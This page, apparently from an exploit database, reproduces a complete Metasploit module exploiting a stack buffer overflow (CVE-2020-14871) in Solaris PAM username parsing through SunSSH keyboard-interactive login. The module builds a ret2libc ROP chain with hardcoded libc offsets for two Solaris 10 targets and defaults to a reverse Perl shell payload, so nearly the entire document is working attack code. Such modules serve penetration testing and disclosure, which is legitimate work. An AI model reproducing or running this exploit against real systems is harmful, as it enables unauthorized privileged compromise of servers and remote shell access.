Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow

2020.12.18
Credit: wvu
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::CheckModule include Msf::Exploit::Remote::SSH def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle Solaris SunSSH PAM parse_user_name() Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in the Solaris PAM library's username parsing code, as used by the SunSSH daemon when the keyboard-interactive authentication method is specified. Tested against SunSSH 1.1.5 on Solaris 10u11 1/13 (x86) in VirtualBox, VMware Fusion, and VMware Player. Bare metal untested. Your addresses may vary. }, 'Author' => [ 'Jacob Thompson', # Analysis 'Aaron Carreras', # Analysis 'Jeffrey Martin', # Testing 'Hacker Fantastic', # PoC 'wvu' # Exploit ], 'References' => [ ['CVE', '2020-14871'], ['URL', 'https://www.oracle.com/security-alerts/cpuoct2020.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2020/11/critical-buffer-overflow-vulnerability-in-solaris-can-allow-remote-takeover.html'], ['URL', 'https://hacker.house/lab/cve-2020-18471/'], ['URL', 'https://twitter.com/hackerfantastic/status/1323431512822435841'] ], 'DisclosureDate' => '2020-10-20', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload' => { # https://github.com/illumos/illumos-gate/blob/edd669a7ce20a2f7406e8f00489c426c0690f1bd/usr/src/lib/libpam/pam_framework.c#L615-L617 'BadChars' => "\x00\x09\x20", 'Encoder' => 'cmd/perl' }, 'Targets' => [ [ 'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VMware', { 'Ident' => 'SSH-2.0-Sun_SSH_1.1.5', 'LibcBase' => 0xfeb90000 } ], [ 'SunSSH 1.1.5 / Solaris 10u11 1/13 (x86) / VirtualBox', { 'Ident' => 'SSH-2.0-Sun_SSH_1.1.5', 'LibcBase' => 0xfeb80000 } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl', 'SSH_TIMEOUT' => 2, 'CheckModule' => 'auxiliary/scanner/ssh/ssh_version' }, 'Notes' => { 'Stability' => [CRASH_SERVICE_RESTARTS], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ACCOUNT_LOCKOUTS, IOC_IN_LOGS] } ) ) end def check # Run auxiliary/scanner/ssh/ssh_version checkcode = super return checkcode unless checkcode == CheckCode::Detected unless target['Ident'] == checkcode.details[:ident] return CheckCode::Safe("#{target.name} is an incompatible target.") end CheckCode::Appears("#{target.name} is a compatible target.") end def exploit print_status("Exploiting #{target.name}") ssh_client_opts = ssh_client_defaults.merge( port: rport, auth_methods: ['keyboard-interactive'], password: ret2libc, # HACK: This is really the username prompt on Solaris timeout: datastore['SSH_TIMEOUT'] ) ssh_client_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] print_status("Yeeting #{datastore['PAYLOAD']} at #{peer}") # Empty initial username Net::SSH.start(rhost, '', ssh_client_opts) rescue Net::SSH::AuthenticationFailed print_error(CheckCode::Safe.message) rescue Net::SSH::Disconnect print_warning('Disconnected, target selection may be incorrect!') rescue Net::SSH::ConnectionTimeout # Do nothing on success end # XXX: No ASLR, but libc base changes... def ret2libc buf = rand_text(516) buf << p32(target['LibcBase'] + 0x23904) # add esp, 8; ret buf << rand_text(4) buf << p32(0x08040101) # ecx buf << p32(0x0805ba07) # pop ecx; pop edx; pop ebp; ret buf << p32(target['LibcBase'] + 0x256d0) # exit(3) buf << p32(target['LibcBase'] + 0x91edf) # system(3) buf << rand_text(4) buf << p32(target['LibcBase'] + 0xae3f1) # push esp; and al, 0; push ecx; push edx; ret buf << payload.encoded end def p32(addr) [addr].pack('V') end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top